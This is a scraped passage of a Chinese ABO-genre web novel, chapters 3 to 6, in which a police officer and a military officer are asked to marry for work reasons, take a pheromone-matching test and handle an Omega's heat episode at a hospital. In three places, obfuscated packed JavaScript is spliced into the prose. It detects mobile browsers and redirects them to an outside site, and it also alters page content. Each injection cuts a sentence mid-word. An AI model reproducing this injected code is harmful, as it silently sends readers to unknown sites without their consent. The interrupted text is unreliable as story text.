“坐。”韩瑞说。 季长岁无语,重新坐回椅子上。 显然韩瑞还有话要说,并且季长岁微妙地察觉到,从现在开始才是正式的会谈。 “我明白,二位都是带着任务来的……成绩嘛,都想自己人带成绩回去。”韩瑞用力抿了抿嘴唇,“但我们当下的情况确实棘手,同时我们也接收到了军警双方提出的一些要求,显然因为信息差而导致你二位所属方都认为这是一场……较量,但这种机密实在不能透露,所以,我们局里想请问二位能否……以一种目前社会上最强横最迅速的方式结盟,让抓捕异能者数据能够最快速、最平均地落在军警双方的资料反馈上?” 季长岁首先观察了一下周观逸,看对方也是一头雾水他才放心。 “没懂。”周观逸说。 季长岁彻底放心了。 韩瑞跟何书清交换了个眼神,后者鼓起勇气用人话简略道:“军警双方所得到的情报让他们认为昶州事态并不严重,所以两边都想要抓捕的成绩。” 周观逸和季长岁齐齐朝他点头,表示这个懂了。 何书清继续说:“那么要让双方都满意,就需要您二位的成绩非常平衡。” 周观逸开口:“这不太可能。” 何书清点头:“几乎不可能,但,如果你们结婚的话,就能够纳入婚姻共同…成绩……” 一时间无人出声。 尴尬的是周观逸还抱着开水壶。 放是不放,他很犹豫。放下的话他就是这办公室里第一个做出动作的人,维持现状的话真的也很诡异。 别人在给你聊结婚,你抱着个开水壶。 壶上还褪色了。 总之韩瑞率先打破平静:“当然,由你们决定。并且这件事情过去之后,局里会帮你们撤销婚姻。是撤销,不是离婚,就,清清白白完全没结过的那种!” “……”季长岁发现天亮了。他依然是先看向周观逸,接着看见了他怀里的壶。 “请不要转移话题。”小何轻声提醒他。 季长岁的视线从壶挪到韩瑞脸上:“我是Alpha。” 如果他没猜错,周观逸应该也是Alpha。 Alpha和Alpha结婚…虽然时下社会风气还算开放…… “是的。”韩瑞一脑门子汗,“所以,可以撤销婚姻。” 季长岁太困了,还硬撑,他整个人侧坐过来,完全面对周观逸。周观逸相当懂事地放下壶,说:“我服从命令。” 嗯,合理,军人。 他迅速观察了一下周观逸: 年轻帅气,五官俊朗,眼睛恰好是他喜欢的类型,比较不明显的双眼皮,眼神没什么情绪,很稳定。 接着衔接片刻的又一次静默。 季长岁身心俱疲,耐心耗尽,精神力约等于零,饮尽茶水撂下杯子站起来:“行行行结就结。诸位接着聊,我真得回去睡觉了我快断气了。” 4. 第 4 章 季长岁困到差点含着牙刷就这样站在镜子前边睡着。 执行官办公室的休息间还算宽敞,床靠着墙摆的,他正好比较喜欢这样的位置,贴着墙睡觉让他有安全感。 季长岁是饿醒的。 思维活过来后,脑袋里浮出的内容是两个字:结婚。 结婚,以及跟一个Alpha结婚,这件事情对季长岁来讲没有那么难以接受——比起这件事情,赵胜的逃脱方式更让他感到荒谬。那很明显是一种异能,而迄今为止,没有人能够拥有两项异能。 果然在一个巨大的荒谬面前,跟Alpha结婚这件事情的冲击力也就成了“一般荒谬”。 休息间的窗帘完全遮蔽着光亮,他就这样睡到了晚餐时间。 通常季长岁过劳入眠后醒来有一个过程。这个过程是感官慢慢回归。先是听觉,一门之隔的走廊外面不停有警靴踏着走过,听起来挺忙的。季长岁坐起来拿过手机,傍晚六点整,整整的那种整。 “睡饱了吗哥?”小何仿佛在蹲守他,但他没有证据。 季长岁这边从休息间出来,那边小何就如若巧合般迎上去。季长岁整理了下警服领子:“有话直说。” “好。”小何跟在他旁边,转过走廊弯角后先一步按下电梯下行键。 季长岁瞧了他一眼:“有何贵干?” “肠仔包吃吗?”小何变戏法似的从口袋里掏出来一个袋装面包。 季长岁还处于起床气的余威中:“仔什么玩意?” “面包,里面夹了根香肠。”小何解释完,怕他不够吃,“有两个。” 何书清对自己的上司还算了解,够饿的时候不会舍近求远。果然,季长岁两个都拿了过来,低头看了眼包装袋上,生产日期是今天,又瞧了眼小何,后者瑟缩了下脖子,赶紧跟着他一块儿进轿厢,然后按了B1楼。 “去车库干嘛?”季长岁问。 “带您去一趟医院。”小何努力让自己别笑得那么心虚。 季长岁一眯眼:“去医院?” “对对,因为接触过毒贩,然后……前两天您身上不是也有一些钝伤嘛,一起检查一下。” 季长岁比何书清高半个头的样子,他懒懒地垂着眼皮又瞧过去一眼:“还有呢?” 小何的表情变化微妙而精彩,似是在心底里为自己加油打气:“顺便做…做一个……检测。” “检测。”季长岁凝视他。 “信息素的那个……匹配度检测。”小何开始胆寒了。 电梯下行时发出微弱冰冷的机械音,季长岁很平静,面包袋子在他手里嘎吱响了两声,接着电梯门打开了,车库阴森的空气涌进来,何书清有那么一刹那感觉自己来到了太平间。 “走啊。”季长岁先迈步走出来,回头,“我又不知道车停哪儿。” “噢!” 每个城市的大医院里都有这么一个科室,信息素匹配度是婚检的“可选择项目”。不同于遗传病、传染病之类的检查,它并非必须要做,只是提供一个选项。 基本上来做检测的新人们都会听见医生说这么一句话,此时季长岁正听着—— “它只是一个科学检测上的参考哈,它的高低只是信息素契合程度上的差异大小,只要你们是真心想要结婚,这个东西的意义并不……唉?你一个人?另一半呢?” 诊室里,季长岁拿着缴过费的单子,迷茫地摇摇头:“不知道。” 医生“哦”了一声后伸手:“来,你先把缴费单给我,然后拿这个到12楼做个信息素采样。” “嗯。”季长岁用缴费凭证交换检查单。 小何把他领到这儿来之后就不知道跑哪去了,医院总是人很多,季长岁将口罩金属条又捏紧了些,空气里弥漫着淡淡的抑制喷雾味道。 他步伐稳健但肚子空空,也因为饿着肚子而气场不太友好。这会儿是下班时间,复诊的人们拿着检查单脚步匆匆,生怕一会儿医生走了,有个人不慎撞了他一下也没有回头道歉,搞得季长岁更烦了。 12楼信息素采样区,他把检查单递给护士。护士也问他:“你一个人?” 采样区的下班时间比较晚,是为了照顾到下班后才有时间过来做检测的小情侣。季长岁“嗯”着点了下头,他后边排队的和侧边候诊的都成双成对甜甜蜜蜜,或挽着手悄声说话,或举着手机自拍。 护士有些为难:“是这样的先生,我们标本盒是两个小盒子固定在一起的,要不您……您先联络一下伴侣?我们下班是八点,八点前都能做的。” 季长岁烦躁地挠挠头:“可是……” 可是没联系方式啊! 小何也不晓得去哪儿了。算了,他刚收回检查单准备说句不好意思然后打电话给何书清时,旁边一道喘着粗气明显是狂奔而来的声音响了起来,季长岁先看见一张递过来的检查单,接着听见: “抱歉,伴侣是我。抱歉,我收工有点晚。” 后边一句周观逸是对着季长岁说的。 季长岁“喔”了声。护士已经算是见多识广,但两个Alpha做匹配度检测还是让她稍抬头多看了眼,不过也就那么一眼,护士立刻扫单子打标签,贴在盒子上:“拿着,去那边等叫号。” 季长岁接过来:“谢谢。” 人群中有轻微的骚动,季长岁隐约听见大家窃窃私语着“两个A啊……”之类的。难免的,爱八卦嘛,在多数稳固而统一的搭配之中出现了异样的模式配对,就会有人认为这是“异端”。 但两位“异端”相当惹眼,周观逸上衣一件纯黑色短袖T恤,下边军装的迷彩裤,还未来得及换,T恤是稍贴身的款式,肩宽腰窄。他轻声咳嗽了下,转过头,这时候季长岁才发现他眼瞳有点像是混血的棕灰色。 周观逸说:“小何去医院门口接应我的,我跑得比较快,他估计……还在挤电梯。” ……所以是爬楼梯上来的。季长岁点点头:“没事,反正他们八点才下班。” 然后就是沉默。 当然了,他们并不熟,试问天底下有几个人前一天握手后一天结婚。季长岁垂着眼,手里样本盒翻了个面儿,不动声色去看标签上的名字……哦,姓周,周观逸。 是的他还没有记牢自己未来伴侣的姓名。 因为是婚检的项目,所以大部分人脸上表情都很幸福,坐在他们后排的一对情侣在猜他们的信息素匹配会在多少。Alpha笑着说肯定会在90以上,Omega则温柔道多少都没关系的啦。 季长岁将样本盒翻过去,多少都不会比他和周观逸低的,你们放心吧,今儿这个地方你们不会垫底。 其实这地方挺精彩的,季长岁和周观逸刚坐下不到三分钟,最近的一个诊室里忽然爆发出尖锐的哭喊。大概是“天杀的东西你居然隐瞒我六年!你根本都是在打针才有的信息素!”这样的话。 季长岁在这儿坐着感觉怎么都不对劲,或许是墙上贴着的“信息素在婚姻中的功能性”和“如何甄别‘信息素爱情’”之类的科普宣传内容,总之就是让他觉得进入了一个非常非常不适合自己的场所。 “你想喝水吗?”旁边一直沉默着的周观逸问道。 “……嗯。”季长岁干巴地点点头,又问,“你带了吗?” 他看上去两手空空。 “我去买。”周观逸站起来,看了看走廊,“那边有自动贩售机。” 季长岁跟着站起来,刚想说一块儿去,倏然他们斜对面那个角落里有人很大声地倒抽了一口冷气。同时这个半封闭的候诊区里迅速弥漫开来一股过分浓烈的茉莉香味——季长岁蹙起眉,坏了,这是有Omega突发生理期。 这种高浓度的Omega信息素在公共场合散发开来是非常危险的情况,他把样本盒揣口袋里,立刻朝那个Omega所在的角落走过去,边走边从裤兜里掏出证件,高声说:“都别动!警察!信息素失控了,所有人检查自己的抑制贴抑制环!” 季长岁捏了下口罩,一双长腿从坐满人的连排长椅空隙中连跨带翻的走到Omega情侣面前,问:“怎么回事?” 按照社会规定,所有公共场所必须正确使用抑制信息素的辅助用品。 角落里Alpha紧紧搂着个娇小的男生,解释:“他……他刚刚抑制贴哪里忽然过敏了,又痛又痒,我就叫他暂时撕下来……结果……” 这Alpha被信息素影响得已经开始有些恍惚,浓度过高,又是自己的伴侣,的确会出现这种反应。季长岁叹气,转过头来看了看人群,大部分人还算淡定,有人从包里拿出口服的抑制类药物直接往肚里吞。 “从这一排开始,Alpha自己起来,慢慢往外走。”季长岁手指点了点最近一排椅子的椅背,“快点儿,腿软了站不起来吗?!” 普通Alpha面对这么浓烈的信息素很少有不受影响,不过好在这里是婚检项目之一,他们身边有自己的伴侣,这点会让他们主观去扼制,硬撑也要撑住。 然而季长岁这个Alpha对这浓到呛人的信息素……也只是觉得太浓了而已,他就站在这对情侣身前,冷眼看着最近的这排Alpha一个个慢吞吞离开。 他扬扬下巴:“前边那排,起来,往外走。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749554|174274||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 季长岁气场很足,他站那儿让人感觉靠近就会挨上一顿。果然有Alpha意识不清地两眼发直朝这边走过来,身边的Omega拽都拽不住。季长岁仍冷着眼,过来也可以,撂倒一个Alpha他都不用挪步子。 “这边出来。”周观逸大步走过去,握住那Alpha的手臂,拽他跟拎个塑料袋似的,但话说得很礼貌,“先生你走错了。” “那排,跟上。”季长岁出声提醒,顺便跟周观逸交换了个眼神。 周观逸向他点头致意,大概表示没关系,情况能控制住。季长岁这时候其实挺意外的,不过转念一想,他们军方应该在信息素抵抗方面有过训练。 短暂的骚动随着护士加大公共区域抑制喷雾的浓度而有所缓解,也是很快,有几个护士端着注射盘匆匆跑过来给这个Omega注射抑制剂。 “谢谢谢谢……”Omega小男生红着眼睛,“对不起给大家添麻烦了。” 护士安慰他说没关系。季长岁问:“没事儿了吧?” 护士瞄了眼他手里的证件,回答:“对的,应该是他最近生理机能紊乱的缘故,谢谢您啊警官。” “不客气,应该的。”季长岁侧身看候诊区门口,周观逸门神一样挡在那儿,站得笔挺,站岗似的,他没由来地笑了笑。 空气里如茉莉爆炸一样的信息素味道很快被抑制喷雾压下去,走廊里罚站的一排Alpha肉眼可见的一个个恢复了理智,宛如通人性了般。 刷着手机路过此地的Beta们淡定地看了眼这一排人,只觉得莫名其妙。何书清也是其中之一,他拎着三杯奶茶走到周观逸旁边,问:“部长,这儿干嘛呢?” 周观逸:“有Omega在里面发情了。” “……”何书清张了张嘴,“那、那我季警官呢?” “他没事。”周观逸解释,“没有被影响。” “我不是问这个,我晓得的,季警官跟性冷淡没啥区别,我是问他在里边揍人了没?”何书清又强调,“有没有揍失控的Alpha呀?” 警察在外边打人也不算什么麻烦事,动机正确就行,但季长岁这人下手有时候没分寸。 周观逸摇头:“没,他处理得很好。” 主要是凶吧,他想着,回过头,里边只剩下Omega们,季长岁格外显眼。季长岁也看见他了,两下里对视了几秒钟,稍微有点尴尬,又同时移开视线。 小何呼了口气出来:“那就好那就好,我怕他揍人是因为他手里没个轻重的……再给人揍哪儿去了,哎部长,你们检测过了吗?” “还没。” 走廊罚站的Alpha们随着机器叫号“季长岁、周观逸”时被准许回去候诊区。这些A回到自己原先的座位里之后,显然候诊区的气氛没之前那么快乐了,即便是物种上的本能,但无论如何自己的Alpha伴侣在自己面前被另一个Omega的信息素影响,打从心底里还是不痛快。 很微妙,季长岁拎了拎口罩,跟周观逸一起进去了7号诊室。 何书清憋不住,好奇得紧,也跟在后边进去了。 医生在他们二人后颈腺体用皮下注射器取样,扎进去再拎出来就好。连着注射器端头放进样本盒,盒子再进机器。 很明显,医生和他的学生们都格外期待两个Alpha的信息素匹配结果,包括小何也是两眼炯炯有神看着仪器屏幕。两个当事人却没有波澜。 “你是……什么味道?”季长岁先问他。 “接骨木。”周观逸回答,“你呢?” “尤加利。”季长岁跟着解释,“大概…是草本的味道再混合一点点薄荷。” 不知道是不是错觉,季长岁感觉周观逸眉眼忽然柔和了下来。 “噢!”有学生惊呼了一下。 在大部分情况下,Alpha和Alpha的信息素有着极为强烈的排斥性,体现在它们不交融,不纠缠。一般,非生理期下,两股Alpha的信息素放在仪器里后它们的封闭球形微囊会相碰一下就弹开,不做任何结合反应。 但…… “有…有数值吗?”另一个学生问。 他们像观察到了世间难得一见的实验,表情里都不见上班疲态了。下一刻,仪表上出现了加载中的小圈圈。 出现了——1.36%。 惊人的1.36%!! 医生直接站了起来,推了下眼镜。他测了一整天AO信息素匹配,不是70多就是80多,90%以上的自然也有几对,但从未感叹这么一句—— “这匹配度太高了!!” 5. 第 5 章 奶茶里的冰块已经有点化了,冰块溶解在奶茶里让口感变得有些淡,杯子上洇出来的水珠子很冰手。 “吃吗?”季长岁把奶茶搁在旁边,拿出一个肠仔包。 “嗯?” 他发现周观逸这人在非工作状态下有时会稍显迟钝,他们坐在医院前院儿里一棵大树下边,下边这有个四四方方的花台。 季长岁递给他:“面包,里边夹了根香肠。” 他收工之后就赶过来,那么应该是没吃晚饭的。周观逸也放下奶茶,拿过来捏在手里没拆,直到看着季长岁又拿出来一个,他才撕开包装。 很拘谨且不太熟的两个Alpha沉默地坐在树下吃面包。 何书清从五分钟前就在打电话,打给不同的人,应该是在汇报这件事情,因为不难看出他时不时流露出兴奋惊喜的表情和微小的肢体动作。 确实,两个Alpha的信息素不排斥已经是少见,更何况出现了匹配值……莫说小何,连那医生都站直溜了。 “给我吧。”季长岁直接拿过周观逸吃完的包装袋和自己手里的捏成一团,起身去不远处的垃圾桶丢掉。然后走到小何旁边拍拍他,示意他赶紧打完走了。 小何笑得一脸幸福,那种漫溢而出的幸福感让季长岁下意识退后半步。小何一手捂住手机话筒,小声说:“再等一下噢哥,很快了。” 季长岁今天睡了整个白天,算是把精神补上来了,明天早上开会不至于梦游。他抬头望了望,尚未完全暗下来的天边已经亮了几颗星。 小何的电话也打通了:“杨局!咱们季警官跟周部长的信息素匹配值是1.36%!!” 对,就这么大声,叫住院部那头的人也听见,季长岁抽抽了两下嘴角,扭头走了。 周观逸就坐那儿,也不玩手机,看起来很老实。季长岁走近后坐下,发现他手里捏着两杯奶茶,把自己的那杯也拿在手里。 “拿着它干嘛?”季长岁问。 “有小虫子,刚刚看到的。”周观逸递给他。 “谢了。” 春末夏初傍晚的凉风吹过,晃着头顶大树的枝叶唰啦唰啦地响。季长岁垂眼盯着手里半杯奶茶,周观逸默不出声目视前方。 其实还是稍有些尴尬的,自己忽然跟一个陌生…也不算陌生吧,跟一个不熟的Alpha同事有信息素匹配度。然后现在也没话可聊,就这么傻坐着。季长岁在心里暗叹,不过真要结婚好像还行。 他这么想着,偷摸瞄了眼过去,仗着睫毛长,遮在眼瞳上的阴影用来掩护—— 挺帅一Alpha,对Omega的超浓度信息素无动于衷,能进军队说明家世清白,并且……话少,安静,蛮好的。 婚姻嘛,本质不都还是“看着顺眼能过下去”这样嘛。 “嗯?”周观逸看向他。 “……” 靠,这么敏锐。 怎么办,说点什么? “哥!” 季长岁开始感恩何书清了。 下一秒季长岁又开始烦他了。 “哥!走吧,问过了,能加上号,咱拍个x光去。”小何边拽着他书包的被带边说,“也不知道能不能再做个腹部超声。 周观逸先站起来的,态度很明确,自己也陪着一块儿去。季长岁坐那儿,把口罩从下巴拎上来:“没必要,不疼了已经,没感觉了。” 小何拧着眉毛:“你每次都这样!” 周观逸看看小何,又看看季长岁。后者仍坐着,不动如山,并因为忘记自己口罩已经拎上来了,吸管戳了一下子口罩外边。 他勾下口罩准备重新喝,被周观逸上前半步,出声阻止:“不能要了。” “你是说小何吗?”季长岁问。 “……” 周观逸:“吸管。” 看夜间门诊的病患蛮多的,候诊区的椅子全都坐满。季长岁环抱着手臂站在消防门旁边,眼神很不爽。 他不爽的时候小何不敢靠近,于是选择安静地站在周观逸的左边,这样周观逸就隔开了这两个人。他们交流起来必须探着脑袋通过周观逸。 小何伸头:“哥,等会儿拍x光的时候您可不能再……” “知道了。”季长岁打断他。 周观逸眼珠子看看他又看看他。其实不好奇的,但小何还是热心解释:“部长,是这样的,以前我哥在桃榔有一回任务后做检查,他不想住院,就拍MRI的时候偷偷用异能控制了机器的成像。” 周观逸听完讶然看向季长岁,后者移开视线,没承认也没否认。 小何又说:“哥,等会儿能不能让部长……” “不能。”季长岁拒绝。 小何说的那事儿是五年前了,那时候季长岁才二十五岁,什么都嫌麻烦的年纪,更别提叫他住院治疗。 小何希望周观逸能在他进x光室之前净化掉他的异能,被季长岁拒绝也是情理之中。周观逸组织了半天语言,最后只跟小何说:“没事,我相信警官。” 季长岁身上的确有些钝伤,他自己心里清楚,洗澡的时候身上有几大块淤青。痛也是真痛。不过还好,诊室里医生看了片子说骨头都没问题,给开了些外涂的化瘀的药膏。 离开医院的时候让季长岁感觉像出狱。 到昶州的这短短几天让他过得相当充实,甚至事业婚姻双丰收……他手机里蹦出一条短信,是方才信息素科室发来的检测报告。 还是有一种不真实感。 季长岁收起手机。小何把车开到医院门口了,降下车窗:“部长,您回公寓吗?送您回去。” “一起吧。”季长岁去拉车门,“上车。” 昶州是当之无愧的大城市,各种意义上的,比如这个时间仍会堵车。 部分异能者的失控固然减少了市民们的夜间娱乐,但加班又没得选。三个人在车里缄口不言总归尴尬,季长岁率先开口:“对了,部长,你之前有见过赵胜这样拥有两种异能的人吗?” “从来没有。”周观逸回答。 季长岁点头“嗯”了声。 二人坐在后排,车子因为道路拥堵而走走停停,导致坐在车里不太舒服。季长岁降车窗降下来些,一转头:“那个赵胜他……部长你还好吗?” 周观逸脸色白得盖张布就能开始哭了。 季长岁委实吓一跳,也不提赵胜了,赶紧问:“你是晕车了吗?” “啊?”小何握着方向盘,“哎,没辙呀,这道儿就这样,踩脚油门踩脚刹,部长要吐吗?我这儿有…哎呕吐袋呢……” “不用。”周观逸很明显的,说完两个字后喉结咽了一下,仿佛在把什么压下去。季长岁左右为难,这儿立交桥不可能停车,这时候要做点什么……无错之际,他……给周观逸掸了掸肩膀上并不存在的灰尘,试图以此方式让他舒服点儿。 周观逸愣了下,旋即,脸上浮出想笑但又因为很难受笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749555|174274||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不出来的纠结表情。 “你这是在憋笑还是在憋吐?”季长岁问。 “我也不知道。”周观逸声音发飘。 小何在前边焦头烂额:“这怎么办,有橘子吗?我小时候晕车了我妈就给我闻橘子皮,或者给我脑门上贴黄瓜片。” 季长岁:“橘子皮我可以理解,黄瓜片是为了让你一直仰着脑袋别吐出来吗?” 小何当即悚然,有一种少年时信仰坍塌的崩溃感。 橘子也好黄瓜也罢,这会儿季长岁都弄不来。旁边周观逸看起来摇摇欲坠了,他抓耳挠腮了一会儿,接着小何又一脚急刹—— “你嫌他太舒服了呗?”季长岁问。 小何无辜指着前车:“他先急刹的…” 周观逸能感觉到自己身上鸡皮疙瘩在挺,这很不妙。 其实他很少晕车,但这种东西说不好。他自己都没有意识到,手不知道什么时候按在了季长岁膝盖上。季长岁没有介意,他一心看着前边多久能有岔路下立交桥,然后找地方停下,扫个单车什么的骑回去得了。 “来来,靠着我。”季长岁将他身上安全带朝自己拽了拽,叫他有空间挪。 其实他也不知道晕车的人靠着能不能好点儿,周观逸倒没靠着他,而是挪过来后轻声询问:“什么味道?” “味道?”季长岁嗅了嗅,“没啊。” “有……”周观逸向他偏头,很小声地说,“好像是你的信息素。” 季长岁摸了下自己后颈,生物贴好好的,没有滑动错位也依然牢固。 按理说不该有味儿啊,季长岁纳闷,他的信息素压制能力很强,即便易感期里也只需要一些口服药物而已。 所以怎么会渗出来呢。 他手没放下来,就这么捂着。幸而这车里没有Omega,小何是Beta对他没影响。 但还是捂着,被人闻见信息素对季长岁来讲还是比较尴尬。 虽然他明白有部分人完全不在意,甚至会佯装不小心地散发一些信息素出来。自然,不在生理期的低浓度信息素无伤大雅,不过季长岁不喜欢。 不单单是不喜欢,他在这方面称得上古板,叫人闻见信息素对他来讲跟裸奔没啥区别。 所以他捂得更紧了。 “你能不能……”周观逸惨白的一张脸看着他,带了些乞求的语气,依然是很小声地在说话,因为这个请求太不对劲了不能叫小何听见,“……能不能给我闻闻?” 季长岁迷茫地嘴巴微张。 “我不是橘子味儿。”季长岁也很小声。 真是见不得人啊! “但闻着会舒服点儿……”周观逸实在不好意思。 前边那个中控屏幕上是这条路的导航,画面里赤红赤红的一条线表示这里还得再堵上一会儿,一时半刻下不去立交。 季长岁短暂挣扎了下,咬牙揭开了后颈生物贴的一角。 非常的羞耻。 但比起这个,他更加不希望周观逸吐车里。 正如季长岁所说,尤加利主要是草本植物的味道,他也知道有人会觉得这味道怪怪的。可……无论如何,他稍微瞄了眼周观逸,后者正在慢慢平静。 季长岁面如死灰地看着车窗外边,再一次感谢小何是Beta,在导航声和电台音乐的掩护下,两个Alpha就这样在车后座……一个泄露着自己的信息素去安抚另一个。 要命了,季长岁想。 6. 第 6 章 季长岁的信息素浓度不算高,而且最近不是他的易感期,很淡的尤加利味道飘在车厢里。 信息素的安抚效果通常出现在AO之间,这是自然界最基础的规律之一。不过并非万事万物都只尊循那一项规律,差异性始终存在,Alpha的信息素安抚了Alpha……也不是什么骇人听闻的事儿。 “好…好点儿没?”季长岁还是那么小声。 周观逸闷闷地“嗯”了声。 “那我贴上了?” “……好。” 季长岁把生物贴按回去的时候默默加深了力道,试图把它摁得结实点儿。 终于最堵的这一段磨蹭过去了,小何问:“部长怎么样,还晕吗?要不要前面岔路下去?” “没事,不用了。”周观逸说,“已经…好多了。” 后半程两个人沉默着,都很尴尬。季长岁是这辈子头一回主动在别人面前释放信息素,周观逸也是这辈子第一次对别人提出这种要求。 季长岁战术咳嗽,打破两人之间这莫名其妙的氛围,向前挪了挪:“小何,韩局给我找的房子在哪来着?” “我不知道呀,你还是给韩局发个微信问一下吧。”小何完全不知道车后排刚刚发生了些什么,笑嘻嘻地说,“我记得在桃榔有一回给你换房子也是这样哈哈哈哈,部长我跟你说,大概两年前咱们市局给警官们重新分配……” 小何说一半,瞄到车中后视镜里季长岁森森的一双眼,打住了。 笑啊。接着说啊。 季长岁收回视线拿出手机,还是解释了一下:“他没在微信上给我地址,直接把我人带过去了,那地儿弯弯绕的我没记住。” “喔……”周观逸点头,“快问问吧。” 十五分钟后小何把两人送到了地方—— 非常合理的,因为两位都是外省增援,所以他们住在同一栋楼。 并且也是在合理范围内的,门对门。 1503和1504。 “今天……实在是不好意思。”周观逸手扶在门把上。 他先是信息素匹配值检测迟到,又是叫季长岁暴露信息素,两件事在他看来都很不礼貌。 季长岁则试了两遍门锁密码都提示错误,最后干脆握住,异能开锁:“没没,反正本、本来以后都是互相帮忙……那个,明天见啊部长。” 说完逃似的钻进门里,门一带上,开灯,幽幽叹出一口气。 叹完又叹。 因为进来了才想起门锁密码。 比起桃榔市,在昶州的工作强度要更高一些,不过桃榔那地儿常常被人说是“桃源”,犯罪率低,警局不常加班,法院案号一年也到头排不到两万。 所以这回过来支援,市局局长很重视,这属于从别人家抢功劳。季长岁的领导特叮嘱了季长岁好好工作,回来就等着加薪升职吧! 那时候季长岁说升职加薪什么的先放一放,您老人家抽空通过一下我那房子卫生间地漏通水维修的申请,淋浴改泡池子了也没通知我一声。 “那房子还好吧?”韩瑞笑眯眯地在季长岁对面坐下。 季长岁差点被一口拌面呛着,着急忙慌往下咽,抄起纸巾朝嘴上一抹:“还好,房子挺好的。” 和许多单位一样,在食堂里其实不太能见着级别比较高的领导。季长岁在这儿吃着早餐呢忽然天降一个韩副局,他放下筷子坐正,看着他。 韩瑞:“哎你吃呀,我就是路过瞧瞧你,哈哈,那房子就在周部长对面,往后你俩也有个照应,诶对了,虽然是老房子,但卫浴厨房都重新做了,往后还有什么需要的,你直接来找我哈。” “……嗯。多谢您。”季长岁真诚地点头。 “那咱一会儿会议室见哈!”韩瑞没多聊,毕竟他还在吃饭,遂站起来,“你慢吃。” 季长岁跟着站起来稍微颔首:“您慢走。” 昶州市这边的强度确实蛮高的,放在从前,连续加班三天,今天怎么也是下午才出任务。不过季长岁对此接受得很好,一盘拌面吃完,收了餐盘去办公楼开会。 何书清从前在桃榔的人缘很好,是个比较讨喜的小伙子,跟谁都聊得来,到了这边也一样,社交天赋可见一斑。 季长岁到会议厅的时候,小何正在和他边上的女生聊天,不知道聊了什么,俩人同时低头一笑。接着小何一抬头:“哥,早啊。” “早。” “早上好,执行官,”女生也跟他打招呼,“我叫白珊宇,是今天刚来的,给小何哥做搭档。” “嗯,你好。”季长岁看了一圈,没见着周观逸,找了个空位坐下。 他刚坐下,手机震了震,拿出一看,是小何发来一条微信。季长岁奇怪地看了他一眼,坐这么近还发微信? 划开一看:哥,特殊作战部在隔壁开会,不跟我们一块儿。 哦……谢谢你选择了发微信。 会议上抓捕赵胜的警员们先后做了简短汇报,大家一致认为赵胜确实拥有起码两项异能,一个致幻,另一个瞬移。像变魔术那样“嘭”炸成烟雾的逃生方式也是瞬移大类下的一种。 所有人的警用记录仪都上传过了,技术部做了重复画面剪切后,把抓捕过程中每个人碰见的异样剪辑出来。包括季长岁在步行街二楼碰见的废弃小丑。 技术部警员在座位上解释了一下:“因为这个小丑蹦出来的时机实在太过于巧合,简直像是等着季警官走过去,所以就……标注出来了。” “嗯。”季长岁说,“这个东西带回来了吗?” “带回来了,也在技术部,但已经完全坏掉了,那弹簧锈得手一捋就往下掉渣儿,木板也是霉点子带开裂的。”技术员说。 所以就是很诡异,季长岁抓抓后脑勺:“行,我们既然人手不算充裕,24小时异能波动监测把我也排上。” 技术员原想跟他推拉几个回合,类似“不必麻烦您”“您够辛苦了”之类。被季长岁淡淡看过来的一眼后选择缄默。他不带威压也没什么情绪,只是说完一句话,目光停留片刻。 “就这样吧,散了,该巡查的巡查,来两个人跟我去一趟赵胜的原籍。”季长岁站起来,其他人跟着起身收拾东西。 小何捧着咖啡先把椅子推进去,然后挤过来:“哥,去他原籍没用呀,他肯定早八百年没回去过了,那儿改造成了农家乐,现在的人估计也都不认得他。” “他不是还有个姥爷吗。”季长岁先是笑了下,“现在的问题不是抓他,是定义一下他。” “啊?”何书清呆愣愣地看着他。 “两项异能,从哪里来的,遗传还是异变,环境所致还是什么玄学秘术,再退一万步,除了这个原籍,我们对赵胜还有任何线索吗?” 小何恍然:“哦——没有。” “是啊,走啊。”季长岁一手将椅子拎起些,塞进桌子底下。 恰好,隔壁也是这时候结束会议,两个会议厅的人出来,走廊一时有点拥挤。又因为办公楼是“回”形,大家向着不同的方向去坐最近的电梯,每个人对每个人说着“不好意思让一让”“麻烦借过”。 总之一团人在这里交汇,季长岁一眼看见了周观逸。今天他和自己一样穿警服,一样的战术腰带,右边挂枪左边对讲。衬得腰很细……啊不不,季长岁挤出微笑:“部长,早。” “早,季警官。”周观逸走过来到他面前,“赵胜的案件我来辅助你,目前他在城里非常危险。” 季长岁没有立刻接受:“那局里人手还够吗?” “就我一个人。”周观逸停顿了下,补充,“韩局要求的……” 哦,来撮合,情理之中。 不过韩副局也挺周到,把俩人凑到一块儿去也别耽误工作。 “咳。”季长岁先等白珊宇跟小何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749556|174274||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走过去,才说,“我明白了,我打算现在去一趟赵胜的原籍地,是个村儿,大概二十公里。” “行。”周观逸抬腕看表,八点四十分,“走吧。” 